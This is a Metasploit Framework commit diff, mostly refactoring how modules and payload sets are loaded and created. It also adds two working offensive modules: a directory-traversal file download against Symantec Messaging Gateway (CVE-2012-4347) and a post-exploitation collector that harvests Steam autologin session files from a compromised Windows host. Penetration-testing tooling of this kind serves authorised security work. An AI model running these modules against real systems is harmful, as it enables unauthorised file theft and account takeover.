Merge pull request #2 from todb-r7/bug/modulemanager-each

Bug/modulemanager each
bug/bundler_fix
jlee-r7 2012-12-12 12:54:49 -08:00
commit 70c2093d1a
18 changed files with 497 additions and 217 deletions

View File

@ -69,8 +69,7 @@ module Exploit
# Make sure parameters are valid.
if (opts['Payload'] == nil)
raise MissingPayloadError,
"You must specify a payload.", caller
raise MissingPayloadError.new, caller
end
# Verify the options
@ -81,7 +80,7 @@ module Exploit
# Initialize the driver instance
driver.exploit = exploit
driver.payload = exploit.framework.modules.create(opts['Payload'])
driver.payload = exploit.framework.payloads.create(opts['Payload'])
# Set the force wait for session flag if the caller requested force
# blocking. This is so that passive exploits can be blocked on from

View File

@ -375,7 +375,6 @@ class DBManager
refresh.each {|md| md.destroy }
refresh = nil
stime = Time.now.to_f
[
[ 'exploit', framework.exploits ],
[ 'auxiliary', framework.auxiliary ],

View File

@ -12,11 +12,15 @@ require 'msf/core'
require 'msf/core/module_set'
module Msf
# Upper management decided to throw in some middle management # because the modules were getting out of hand. This
# bad boy takes care of the work of managing the interaction with modules in terms of loading and instantiation.
# Upper management decided to throw in some middle management
# because the modules were getting out of hand. This bad boy takes
# care of the work of managing the interaction with modules in terms
# of loading and instantiation.
#
# @todo add unload support
class ModuleManager < ModuleSet
class ModuleManager
include Msf::Framework::Offspring
require 'msf/core/payload_set'
# require here so that Msf::ModuleManager is already defined
@ -41,36 +45,28 @@ module Msf
# Maps module type directory to its module type.
TYPE_BY_DIRECTORY = Msf::Modules::Loader::Base::DIRECTORY_BY_TYPE.invert
# Overrides the module set method for adding a module so that some extra steps can be taken to subscribe the module
# and notify the event dispatcher.
#
# @param (see Msf::ModuleSet#add_module)
# @return (see Msf::ModuleSet#add_module)
def add_module(mod, name, file_paths)
# Call {Msf::ModuleSet#add_module} with same arguments
dup = super
def [](key)
names = key.split("/")
type = names.shift
# Automatically subscribe a wrapper around this module to the necessary
# event providers based on whatever events it wishes to receive. We
# only do this if we are the module manager instance, as individual
# module sets need not subscribe.
auto_subscribe_module(dup)
module_set = module_set_by_type[type]
# Notify the framework that a module was loaded
framework.events.on_module_load(name, dup)
dup
module_reference_name = names.join("/")
module_set[module_reference_name]
end
# Creates a module instance using the supplied reference name.
#
# @param [String] name a module reference name. It may optionally be prefixed with a "<type>/", in which case the
# module will be created from the {Msf::ModuleSet} for the given <type>.
# @param name [String] A module reference name. It may optionally
# be prefixed with a "<type>/", in which case the module will be
# created from the {Msf::ModuleSet} for the given <type>.
# Otherwise, we step through all sets until we find one that
# matches.
# @return (see Msf::ModuleSet#create)
def create(name)
# Check to see if it has a module type prefix. If it does,
# try to load it from the specific module set for that type.
names = name.split(File::SEPARATOR)
names = name.split("/")
potential_type_or_directory = names.first
# if first name is a type
@ -81,15 +77,24 @@ module Msf
type = TYPE_BY_DIRECTORY[potential_type_or_directory]
end
module_instance = nil
if type
module_set = module_set_by_type[type]
module_reference_name = names[1 .. -1].join(File::SEPARATOR)
module_set.create(module_reference_name)
# Otherwise, just try to load it by name.
# First element in names is the type, so skip it
module_reference_name = names[1 .. -1].join("/")
module_instance = module_set.create(module_reference_name)
else
super
# Then we don't have a type, so we have to step through each set
# to see if we can create this module.
module_set_by_type.each do |_, set|
module_reference_name = names.join("/")
module_instance = set.create(module_reference_name)
break if module_instance
end
end
module_instance
end
@ -128,18 +133,18 @@ module Msf
types.each { |type|
init_module_set(type)
}
super(nil)
end
protected
# This method automatically subscribes a module to whatever event providers it wishes to monitor. This can be used
# to allow modules to automatically # execute or perform other tasks when certain events occur. For instance, when
# a new host is detected, other aux modules may wish to run such that they can collect more information about the
# host that was detected.
# This method automatically subscribes a module to whatever event
# providers it wishes to monitor. This can be used to allow modules
# to automatically execute or perform other tasks when certain
# events occur. For instance, when a new host is detected, other
# aux modules may wish to run such that they can collect more
# information about the host that was detected.
#
# @param [Class] mod a Msf::Module subclass
# @param mod [Class] A subclass of Msf::Module
# @return [void]
def auto_subscribe_module(mod)
# If auto-subscribe has been disabled

View File

@ -24,8 +24,8 @@ module Msf::ModuleManager::Cache
def load_cached_module(type, reference_name)
loaded = false
module_info = self.module_info_by_path.values.find { |module_info|
module_info[:type] == type and module_info[:reference_name] == reference_name
module_info = self.module_info_by_path.values.find { |inner_info|
inner_info[:type] == type and inner_info[:reference_name] == reference_name
}
if module_info
@ -116,8 +116,9 @@ module Msf::ModuleManager::Cache
typed_module_set = module_set(type)
# Don't want to trigger as {Msf::ModuleSet#create} so check for key instead of using ||= which would call
# {Msf::ModuleSet#[]} which would potentially call {Msf::ModuleSet#create}.
# Don't want to trigger as {Msf::ModuleSet#create} so check for
# key instead of using ||= which would call {Msf::ModuleSet#[]}
# which would potentially call {Msf::ModuleSet#create}.
unless typed_module_set.has_key? reference_name
typed_module_set[reference_name] = Msf::SymbolicModule
end
@ -126,4 +127,4 @@ module Msf::ModuleManager::Cache
self.module_info_by_path
end
end
end

View File

@ -57,21 +57,16 @@ module Msf::ModuleManager::Loading
# categorized accordingly.
#
def on_module_load(mod, type, name, modinfo)
# Payload modules require custom loading as the individual files
# may not directly contain a logical payload that a user would
# reference, such as would be the case with a payload stager or
# stage. As such, when payload modules are loaded they are handed
# off to a special payload set. The payload set, in turn, will
# automatically create all the permutations after all the payload
# modules have been loaded.
dup = module_set_by_type[type].add_module(mod, name, modinfo)
if (type != Msf::MODULE_PAYLOAD)
# Add the module class to the list of modules and add it to the
# type separated set of module classes
add_module(mod, name, modinfo)
end
# Automatically subscribe a wrapper around this module to the necessary
# event providers based on whatever events it wishes to receive.
auto_subscribe_module(dup)
module_set_by_type[type].add_module(mod, name, modinfo)
# Notify the framework that a module was loaded
framework.events.on_module_load(name, dup)
dup
end
protected

View File

@ -39,7 +39,7 @@ module Msf::ModuleManager::ModuleSets
self.enablement_by_type[type] = true
case type
when Msf::MODULE_PAYLOAD
instance = Msf::PayloadSet.new(self)
instance = Msf::PayloadSet.new
else
instance = Msf::ModuleSet.new(type)
end
@ -100,4 +100,4 @@ module Msf::ModuleManager::ModuleSets
attr_accessor :enablement_by_type # :nodoc:
attr_accessor :module_set_by_type # :nodoc:
end
end

View File

@ -33,8 +33,9 @@ class Msf::ModuleSet < Hash
# Create an instance of the supplied module by its name
#
# @param [String] name the module reference name.
# @return [Msf::Module] instance of the named module.
# @param name [String] The module reference name.
# @return [Msf::Module,nil] Instance of the named module or nil if it
# could not be created.
def create(name)
klass = fetch(name, nil)
instance = nil
@ -42,15 +43,7 @@ class Msf::ModuleSet < Hash
# If there is no module associated with this class, then try to demand
# load it.
if klass.nil? or klass == Msf::SymbolicModule
# If we are the root module set, then we need to try each module
# type's demand loading until we find one that works for us.
if module_type.nil?
Msf::MODULE_TYPES.each { |type|
framework.modules.load_cached_module(type, name)
}
else
framework.modules.load_cached_module(module_type, name)
end
framework.modules.load_cached_module(module_type, name)
recalculate
@ -168,17 +161,6 @@ class Msf::ModuleSet < Hash
def on_module_reload(mod)
end
# @!attribute [rw] postpone_recalc
# Whether or not recalculations should be postponed. This is used
# from the context of the {#each_module_list} handler in order to
# prevent the demand loader from calling recalc for each module if
# it's possible that more than one module may be loaded. This field
# is not initialized until used.
#
# @return [true] if {#recalculate} should not be called immediately
# @return [false] if {#recalculate} should be called immediately
attr_accessor :postpone_recalculate
# Dummy placeholder to recalculate aliases and other fun things.
#
# @return [void]
@ -194,8 +176,6 @@ class Msf::ModuleSet < Hash
(self[name]) ? true : false
end
protected
# Adds a module with a the supplied name.
#
# @param [Class] mod The module class: a subclass of Msf::Module.
@ -226,25 +206,24 @@ class Msf::ModuleSet < Hash
mod
end
protected
# Load all modules that are marked as being symbolic.
#
# @return [void]
def demand_load_modules
found_symbolics = false
# Pre-scan the module list for any symbolic modules
self.each_pair { |name, mod|
if (mod == Msf::SymbolicModule)
self.postpone_recalculate = true
found_symbolics = true
mod = create(name)
next if (mod.nil?)
end
}
# If we found any symbolic modules, then recalculate.
if (self.postpone_recalculate)
self.postpone_recalculate = false
if (found_symbolics)
recalculate
end
end

View File

@ -63,15 +63,17 @@ class Msf::Modules::Loader::Base
# Regex that can distinguish regular ruby source from unit test source.
UNIT_TEST_REGEX = /rb\.(ut|ts)\.rb$/
# @param [Msf::ModuleManager] module_manager The module manager that caches the loaded modules.
# @param [Msf::ModuleManager] module_manager The module manager that
# caches the loaded modules.
def initialize(module_manager)
@module_manager = module_manager
end
# Returns whether the path can be loaded this module loader.
#
# @abstract Override and determine from properties of the path or the file to which the path points whether it is
# loadable using {#load_modules} for the subclass.
# @abstract Override and determine from properties of the path or the
# file to which the path points whether it is loadable using
# {#load_modules} for the subclass.
#
# @param path (see #load_modules)
# @return [Boolean]
@ -81,22 +83,33 @@ class Msf::Modules::Loader::Base
# Loads a module from the supplied path and module_reference_name.
#
# @param [String] parent_path The path under which the module exists. This is not necessarily the same path as passed
# to {#load_modules}: it may just be derived from that path.
# @param [String] parent_path The path under which the module exists.
# This is not necessarily the same path as passed to
# {#load_modules}: it may just be derived from that path.
# @param [String] type The type of module.
# @param [String] module_reference_name The canonical name for referring to the module.
# @param [Hash] options Options used to force loading and track statistics
# @option options [Hash{String => Integer}] :count_by_type Maps the module type to the number of module loaded
# @option options [Boolean] :force (false) whether to force loading of the module even if the module has not changed.
# @option options [Hash{String => Boolean}] :recalculate_by_type Maps type to whether its
# {Msf::ModuleManager::ModuleSets#module_set} needs to be recalculated.
# @param [String] module_reference_name The canonical name for
# referring to the module.
# @param [Hash] options Options used to force loading and track
# statistics
# @option options [Hash{String => Integer}] :count_by_type Maps the
# module type to the number of module loaded
# @option options [Boolean] :force (false) whether to force loading of
# the module even if the module has not changed.
# @option options [Hash{String => Boolean}] :recalculate_by_type Maps
# type to whether its {Msf::ModuleManager::ModuleSets#module_set}
# needs to be recalculated.
# @option options [Boolean] :reload (false) whether this is a reload.
#
# @return [false] if :force is false and parent_path has not changed.
# @return [false] if exception encountered while parsing module content
# @return [false] if the module is incompatible with the Core or API version.
# @return [false] if the module does not implement a Metasploit(\d+) class.
# @return [false] if exception encountered while parsing module
# content
# @return [false] if the module is incompatible with the Core or API
# version.
# @return [false] if the module does not implement a Metasploit(\d+)
# class.
# @return [false] if the module's is_usable method returns false.
# @return [true] if all those condition pass and the module is successfully loaded.
# @return [true] if all those condition pass and the module is
# successfully loaded.
#
# @see #read_module_content
# @see Msf::ModuleManager::Loading#file_changed?
@ -121,8 +134,8 @@ class Msf::Modules::Loader::Base
module_content = read_module_content(parent_path, type, module_reference_name)
if module_content.empty?
# read_module_content is responsible for calling {#load_error}, so just return here.
return false
# read_module_content is responsible for calling {#load_error}, so just return here.
return false
end
try_eval_module = lambda { |namespace_module|
@ -139,9 +152,9 @@ class Msf::Modules::Loader::Base
begin
namespace_module.version_compatible!(module_path, module_reference_name)
rescue Msf::Modules::VersionCompatibilityError => version_compatibility_error
load_error(module_path, version_compatibility_error)
load_error(module_path, version_compatibility_error)
else
load_error(module_path, error)
load_error(module_path, error)
end
return false
@ -150,17 +163,17 @@ class Msf::Modules::Loader::Base
begin
namespace_module.version_compatible!(module_path, module_reference_name)
rescue Msf::Modules::VersionCompatibilityError => version_compatibility_error
load_error(module_path, version_compatibility_error)
load_error(module_path, version_compatibility_error)
return false
end
begin
metasploit_class = namespace_module.metasploit_class!(module_path, module_reference_name)
metasploit_class = namespace_module.metasploit_class!(module_path, module_reference_name)
rescue Msf::Modules::MetasploitClassCompatibilityError => error
load_error(module_path, error)
load_error(module_path, error)
return false
return false
end
unless usable?(metasploit_class)
@ -227,12 +240,15 @@ class Msf::Modules::Loader::Base
# Loads all of the modules from the supplied path.
#
# @note Only paths where {#loadable?} returns true should be passed to this method.
# @note Only paths where {#loadable?} returns true should be passed to
# this method.
#
# @param [String] path Path under which there are modules
# @param [Hash] options
# @option options [Boolean] force (false) whether to force loading of the module even if the module has not changed.
# @return [Hash{String => Integer}] Maps module type to number of modules loaded
# @option options [Boolean] force (false) Whether to force loading of
# the module even if the module has not changed.
# @return [Hash{String => Integer}] Maps module type to number of
# modules loaded
def load_modules(path, options={})
options.assert_valid_keys(:force)
@ -396,28 +412,28 @@ class Msf::Modules::Loader::Base
raise ::NotImplementedError
end
# Records the load error to {Msf::ModuleManager::Loading#module_load_error_by_path} and the log.
#
# @param [String] module_path Path to the module as returned by {#module_path}.
# @param [Exception, #class, #to_s, #backtrace] error the error that cause the module not to load.
# @return [void]
#
# @see #module_path
def load_error(module_path, error)
# module_load_error_by_path does not get the backtrace because the value is echoed to the msfconsole where
# backtraces should not appear.
module_manager.module_load_error_by_path[module_path] = "#{error.class} #{error}"
# Records the load error to {Msf::ModuleManager::Loading#module_load_error_by_path} and the log.
#
# @param [String] module_path Path to the module as returned by {#module_path}.
# @param [Exception, #class, #to_s, #backtrace] error the error that cause the module not to load.
# @return [void]
#
# @see #module_path
def load_error(module_path, error)
# module_load_error_by_path does not get the backtrace because the value is echoed to the msfconsole where
# backtraces should not appear.
module_manager.module_load_error_by_path[module_path] = "#{error.class} #{error}"
log_lines = []
log_lines << "#{module_path} failed to load due to the following error:"
log_lines << error.class.to_s
log_lines << error.to_s
log_lines << "Call stack:"
log_lines += error.backtrace
log_lines = []
log_lines << "#{module_path} failed to load due to the following error:"
log_lines << error.class.to_s
log_lines << error.to_s
log_lines << "Call stack:"
log_lines += error.backtrace
log_message = log_lines.join("\n")
elog(log_message)
end
log_message = log_lines.join("\n")
elog(log_message)
end
# @return [Msf::ModuleManager] The module manager for which this loader is loading modules.
attr_reader :module_manager
@ -480,11 +496,14 @@ class Msf::Modules::Loader::Base
namespace_module_name
end
# Returns an Array of names to make a fully qualified module name to wrap the Metasploit(1|2|3) class so that it
# doesn't overwrite other (metasploit) module's classes. Invalid module name characters are escaped by using 'H*'
# unpacking and prefixing each code with X so the code remains a valid module name when it starts with a digit.
# Returns an Array of names to make a fully qualified module name to
# wrap the Metasploit(1|2|3) class so that it doesn't overwrite other
# (metasploit) module's classes. Invalid module name characters are
# escaped by using 'H*' unpacking and prefixing each code with X so
# the code remains a valid module name when it starts with a digit.
#
# @param [String] uniq_module_reference_name The unique canonical name for the module including type.
# @param [String] uniq_module_reference_name The unique canonical name
# for the module including type.
# @return [Array<String>] {NAMESPACE_MODULE_NAMES} + <derived-constant-safe names>
#
# @see namespace_module
@ -513,8 +532,9 @@ class Msf::Modules::Loader::Base
end
namespace_module = create_namespace_module(namespace_module_names)
# Get the parent module from the created module so that restore_namespace_module can remove namespace_module's
# constant if needed.
# Get the parent module from the created module so that
# restore_namespace_module can remove namespace_module's constant if
# needed.
parent_module = namespace_module.parent
begin
@ -557,21 +577,21 @@ class Msf::Modules::Loader::Base
if parent_module
# If there is a current module with relative_name
if parent_module.const_defined?(relative_name)
# if the current value isn't the value to be restored.
if parent_module.const_get(relative_name) != namespace_module
# remove_const is private, so use send to bypass
parent_module.send(:remove_const, relative_name)
# if the current value isn't the value to be restored.
if parent_module.const_get(relative_name) != namespace_module
# remove_const is private, so use send to bypass
parent_module.send(:remove_const, relative_name)
# if there was a previous module, not set it to the name
if namespace_module
parent_module.const_set(relative_name, namespace_module)
end
end
# if there was a previous module, not set it to the name
if namespace_module
parent_module.const_set(relative_name, namespace_module)
end
end
else
# if there was a previous module, but there isn't a current module, then restore the previous module
if namespace_module
parent_module.const_set(relative_name, namespace_module)
end
# if there was a previous module, but there isn't a current module, then restore the previous module
if namespace_module
parent_module.const_set(relative_name, namespace_module)
end
end
end
end

View File

@ -20,12 +20,9 @@ class PayloadSet < ModuleSet
# Creates an instance of a payload set which is just a specialized module
# set class that has custom handling for payloads.
#
def initialize(manager)
def initialize
super(MODULE_PAYLOAD)
# A reference to the ModuleManager instance
self.manager = manager
# A hash of each of the payload types that holds an array
# for all of the associated modules
self.payload_type_modules = {}
@ -74,60 +71,36 @@ class PayloadSet < ModuleSet
# of singles, stagers, and stages.
#
def recalculate
# Reset the current hash associations for all non-symbolic modules
self.each_pair { |key, v|
manager.delete(key) if (v != SymbolicModule)
}
old_keys = self.keys
new_keys = []
self.delete_if { |k, v|
v != SymbolicModule
}
# Initialize a temporary hash
_temp = {}
# Populate the temporary hash
_singles.each_pair { |name, op|
_temp[name] = op
}
# Recalculate single payloads
_temp.each_pair { |name, op|
_singles.each_pair { |name, op|
mod, handler = op
# Build the payload dupe using the determined handler
# and module
p = build_payload(handler, mod)
# Sets the modules derived name
p.refname = name
# Add it to the set
add_single(p, name, op[5])
new_keys.push name
# Cache the payload's size
begin
sizes[name] = p.new.size
# Don't cache generic payload sizes.
rescue NoCompatiblePayloadError
end
}
# Initialize a temporary hash
_temp = {}
# Populate the temporary hash
_stagers.each_pair { |stager_name, op|
_temp[stager_name] = op
}
# Recalculate staged payloads
_temp.each_pair { |stager_name, op|
mod, handler = op
_stagers.each_pair { |stager_name, op|
stager_mod, handler, stager_platform, stager_arch, stager_inst = op
# Walk the array of stages
_stages.each_pair { |stage_name, ip|
stage_mod, junk, stage_platform, stage_arch, stage_inst = ip
stage_mod, _, stage_platform, stage_arch, stage_inst = ip
# No intersection between platforms on the payloads?
if ((stager_platform) and
@ -179,12 +152,20 @@ class PayloadSet < ModuleSet
'files' => op[5]['files'] + ip[5]['files'],
'paths' => op[5]['paths'] + ip[5]['paths'],
'type' => op[5]['type']})
new_keys.push combined
# Cache the payload's size
sizes[combined] = p.new.size
}
}
# Blow away anything that was cached but didn't exist during the
# recalculation
self.delete_if do |k, v|
next if v == SymbolicModule
!!(old_keys.include?(k) and not new_keys.include?(k))
end
flush_blob_cache
end
@ -276,8 +257,7 @@ class PayloadSet < ModuleSet
# returns an instance of that payload.
#
def find_payload_from_set(set, platform, arch, handler, session, payload_type)
set.each do |m|
name,mod = m
set.each do |name, mod|
p = mod.new
# We can't substitute one generic with another one.
@ -303,6 +283,8 @@ class PayloadSet < ModuleSet
#
def add_single(p, name, modinfo)
p.framework = framework
p.refname = name
p.file_path = modinfo['files'][0]
# Associate this class with the single payload's name
self[name] = p
@ -310,9 +292,6 @@ class PayloadSet < ModuleSet
# Add the singles hash
singles[name] = p
# Add it to the global module set
manager.add_module(p, name, modinfo)
dlog("Built single payload #{name}.", 'core', LEV_2)
end
@ -322,13 +301,12 @@ class PayloadSet < ModuleSet
#
def add_stage(p, full_name, stage_name, handler_type, modinfo)
p.framework = framework
p.refname = full_name
p.file_path = modinfo['files'][0]
# Associate this stage's full name with the payload class in the set
self[full_name] = p
# Add the full name association in the global module set
manager.add_module(p, full_name, modinfo)
# Create the hash entry for this stage and then create
# the associated entry for the handler type
stages[stage_name] = {} if (!stages[stage_name])
@ -445,7 +423,7 @@ protected
return klass
end
attr_accessor :manager, :payload_type_modules # :nodoc:
attr_accessor :payload_type_modules # :nodoc:
attr_writer :stages, :singles, :sizes # :nodoc:
attr_accessor :_instances # :nodoc:

View File

@ -1859,7 +1859,7 @@ class Core
end
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.modules.create(mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (p)
p.options.sorted.each { |e|
name, opt = e
@ -2389,7 +2389,7 @@ class Core
# How about the selected payload?
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.modules.create(mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (p and p.options.include?(opt))
res.concat(option_values_dispatch(p.options[opt], str, words))
end
@ -2623,7 +2623,7 @@ protected
# If it's an exploit and a payload is defined, create it and
# display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.modules.create(mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
@ -2688,7 +2688,7 @@ protected
# If it's an exploit and a payload is defined, create it and
# display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.modules.create(mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
@ -2711,7 +2711,7 @@ protected
# If it's an exploit and a payload is defined, create it and
# display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.modules.create(mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")

View File

@ -528,7 +528,7 @@ class Driver < Msf::Ui::Driver
framework.modules.module_load_error_by_path.each do |path, error|
print_error("\t#{path}: #{error}")
end
end
end
framework.events.on_ui_start(Msf::Framework::Revision)
@ -551,7 +551,7 @@ class Driver < Msf::Ui::Driver
case var.downcase
when "payload"
if (framework and framework.modules.valid?(val) == false)
if (framework and framework.payloads.valid?(val) == false)
return false
elsif (active_module)
active_module.datastore.clear_non_user_defined

View File

@ -0,0 +1,158 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Symantec Messaging Gateway 9.5 Log File Download Vulnerability',
'Description' => %q{
This module will download a file of your choice against Symantec Messaging
Gateway. This is possible by exploiting a directory traversal vulnerability
when handling the 'logFile' parameter, which will load an arbitrary file as
an attachment. Note that authentication is required in order to successfully
download your file.
},
'References' =>
[
['CVE', '2012-4347'],
['EDB', '23110'],
['OSVDB', '88165'],
['BID', '56789'],
['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00']
],
'Author' =>
[
'Ben Williams <ben.williams[at]ngssecure.com>',
'sinn3r'
],
'License' => MSF_LICENSE,
'DisclosureDate' => "Nov 30 2012"
))
register_options(
[
Opt::RPORT(41080),
OptString.new('FILENAME', [true, 'The file to download', '/etc/passwd']),
OptString.new('USERNAME', [true, 'The username to login as']),
OptString.new('PASSWORD', [true, 'The password to login with'])
], self.class)
deregister_options('RHOST')
end
def peer
"#{rhost}:#{rport}"
end
def auth(username, password, sid, last_login)
res = send_request_cgi({
'method' => 'POST',
'uri' => '/brightmail/login.do',
'headers' => {
'Referer' => "http://#{peer}/brightmail/viewLogin.do"
},
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
'vars_post' => {
'lastlogin' => last_login,
'userLocale' => '',
'lang' => 'en_US',
'username' => username,
'password' => password,
'loginBtn' => 'Login'
}
})
if res and res.headers['Location']
new_uri = res.headers['Location'].scan(/^http:\/\/[\d\.]+:\d+(\/.+)/).flatten[0]
res = send_request_cgi({
'uri' => new_uri,
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}"
})
return true if res and res.body =~ /Logged in as: #{username}/
end
return false
end
def get_login_data
sid = '' #From cookie
last_login = '' #A hidden field in the login page
res = send_request_raw({'uri'=>'/brightmail/viewLogin.do'})
if res and res.headers['Set-Cookie']
sid = res.headers['Set-Cookie'].scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
end
if res
last_login = res.body.scan(/<input type="hidden" name="lastlogin" value="(.+)"\/>/).flatten[0] || ''
end
return sid, last_login
end
def download_file(sid, fname)
res = send_request_cgi({
'uri' => '/brightmail/export',
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
'vars_get' => {
'type' => 'logs',
'logFile' => "../../#{fname}",
'logType' => '1',
'browserType' => '1'
}
})
if not res
print_error("#{peer} - Unable to download the file. The server timed out.")
return
elsif res and res.body.empty?
print_error("#{peer} - File not found or empty.")
return
end
vprint_line("")
vprint_line(res.body)
f = ::File.basename(fname)
p = store_loot('symantec.brightmail.file', 'application/octet-stream', rhost, res.body, f)
print_good("#{peer} - File saved as: '#{p}'")
end
def run_host(ip)
sid, last_login = get_login_data
if sid.empty? or last_login.empty?
print_error("#{peer} - Missing required login data. Cannot continue.")
return
end
username = datastore['USERNAME']
password = datastore['PASSWORD']
if not auth(username, password, sid, last_login)
print_error("#{peer} - Unable to login. Cannot continue.")
return
else
print_good("#{peer} - Logged in as '#{username}:#{password}'")
end
fname = datastore['FILENAME']
download_file(sid, fname)
end
end

View File

@ -61,10 +61,10 @@ class Metasploit3 < Msf::Auxiliary
register_advanced_options(
[
OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negociation, when set client will use ntlmssp, if not then client will use classic lanman authentification", false ]),
OptBool.new("NTLM_UseNTLM2_session", [ true, "Activate the 'negociate NTLM2 key' flag in NTLM authentication. " +
"When SMB extended security negociation is set, client will use ntlm2_session instead of ntlmv1 (default on win 2K and above)", false ]),
OptBool.new("USE_GSS_NEGOCIATION", [ true, "Send a gss_security blob in smb_negociate response when SMB extended security is set. " +
OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negotiation, when set client will use ntlmssp, if not then client will use classic lanman authentification", false ]),
OptBool.new("NTLM_UseNTLM2_session", [ true, "Activate the 'negotiate NTLM2 key' flag in NTLM authentication. " +
"When SMB extended security negotiate is set, client will use ntlm2_session instead of ntlmv1 (default on win 2K and above)", false ]),
OptBool.new("USE_GSS_NEGOTIATION", [ true, "Send a gss_security blob in smb_negotiate response when SMB extended security is set. " +
"When this flag is not set, Windows will respond without gss encapsulation, Ubuntu will still use gss.", true ]),
OptString.new('DOMAIN_NAME', [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ])
], self.class)
@ -74,7 +74,7 @@ class Metasploit3 < Msf::Auxiliary
def run
@s_smb_esn = datastore['SMB_EXTENDED_SECURITY']
@s_ntlm_esn = datastore['NTLM_UseNTLM2_session']
@s_gss_neg = datastore['USE_GSS_NEGOCIATION']
@s_gss_neg = datastore['USE_GSS_NEGOTIATION']
@domain_name = datastore['DOMAIN_NAME']
@s_GUID = [Rex::Text.rand_text_hex(32)].pack('H*')
@ -103,7 +103,7 @@ class Metasploit3 < Msf::Auxiliary
case cmd
when CONST::SMB_COM_NEGOTIATE
#client set extended security negociation
#client set extended security negotiation
if (pkt['Payload']['SMB'].v['Flags2'] & 0x800 != 0)
smb_cmd_negotiate(c, buff, true)
else
@ -204,7 +204,7 @@ class Metasploit3 < Msf::Auxiliary
def smb_cmd_session_setup(c, buff, esn)
smb = @state[c]
#extended security has been negociated
#extended security has been negotiated
if esn
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
pkt.from_s(buff)
@ -422,7 +422,7 @@ class Metasploit3 < Msf::Auxiliary
nt_cli_challenge = arg[:nt_cli_challenge]
end
# Clean up the data for loggging
# Clean up the data for logging
if (smb[:username] == "")
smb[:username] = nil
end

View File

@ -27,9 +27,9 @@ class Metasploit3 < Msf::Exploit::Remote
},
'Author' =>
[
"@marcwickenden", # discovery and metasploit module
"marcwickenden", # discovery and metasploit module
"sinn3r", # metasploit module
"juan vazquez", # metasploit module
"juan vazquez" # metasploit module
],
'License' => MSF_LICENSE,
'References' =>

View File

@ -34,6 +34,8 @@ class Metasploit3 < Msf::Exploit::Remote
],
'References' =>
[
['OSVDB', '88302'],
['OSVDB', '88303'],
['URL', 'http://metasploit.com']
],
'Platform' => 'win',

View File

@ -312,7 +312,7 @@ get_server_uri:
call httpopenrequest
server_uri:
db "/#{server_uri}", 0x00
db "#{server_uri}", 0x00
create_file:
jmp.i8 get_filename

View File

@ -0,0 +1,78 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/post/file'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info(info,
'Name' => 'Steam client session Collector.',
'Description' => %q{ This module will collect Steam session information from an
account set to autologin. },
'License' => MSF_LICENSE,
'Author' => ['Nikolai Rusakov <nikolai.rusakov[at]gmail.com>'],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter' ]
))
end
# All that is needed to login to another Steam account is config.vdf,
# setting the AutoLoginUser to the proper username and RememberPassword
# to 1 in SteamAppData.vdf.
# Only tested on Win7 x64
#
# config.vdf , ContentCache element holds a K,V table of what appears
# to be UniqueID, Session. This is purely speculation as I have not
# reversed it to check. However the key is always unique to the account
# and the value changes whenever the account is logged out and then
# back in.
def run
steamappdata = 'SteamAppData.vdf'
steamconfig = 'config.vdf'
u_rx = /AutoLoginUser\W*\"(.*)\"/
# Steam client is only 32 bit so we need to know what arch we are on so that we can use
# the correct program files folder.
# We will just use an x64 only defined env variable to check.
if not expand_path('%ProgramFiles(X86)%').empty? and expand_path('%ProgramFiles(X86)%') !~ /%ProgramFiles\(X86\)%/
progs = expand_path('%ProgramFiles(X86)%') #x64
else
progs = expand_path('%ProgramFiles%') #x86
end
path = progs + '\\Steam\\config'
print_status("Checking for Steam configs in #{path}")
# Check if all the files are there.
if directory?(path) && file?("#{path}\\#{steamappdata}") && file?("#{path}\\#{steamconfig}")
print_status("Located steam config files.")
sad = read_file("#{path}\\#{steamappdata}")
if sad =~ /RememberPassword\W*\"1\"/
print_status("RememberPassword is set! Accountname is #{u_rx.match(sad)[1]}")
scd = read_file("#{path}\\#{steamconfig}")
steam_app_data_path = store_loot('steam.config', 'text/plain', session, sad, filename=steamappdata)
print_good("The file SteamAppData.vdf has been stored on #{steam_app_data_path}")
steam_config_path = store_loot('steam.config', 'text/plain', session, scd, filename=steamconfig)
print_good("The file config.vdf has been stored on #{steam_config_path}")
print_status("Steam configs harvested successfully!")
else
print_error("RememberPassword is not set, exiting.")
return
end
else
print_error("Steam configs not found.")
return
end
end
end

View File

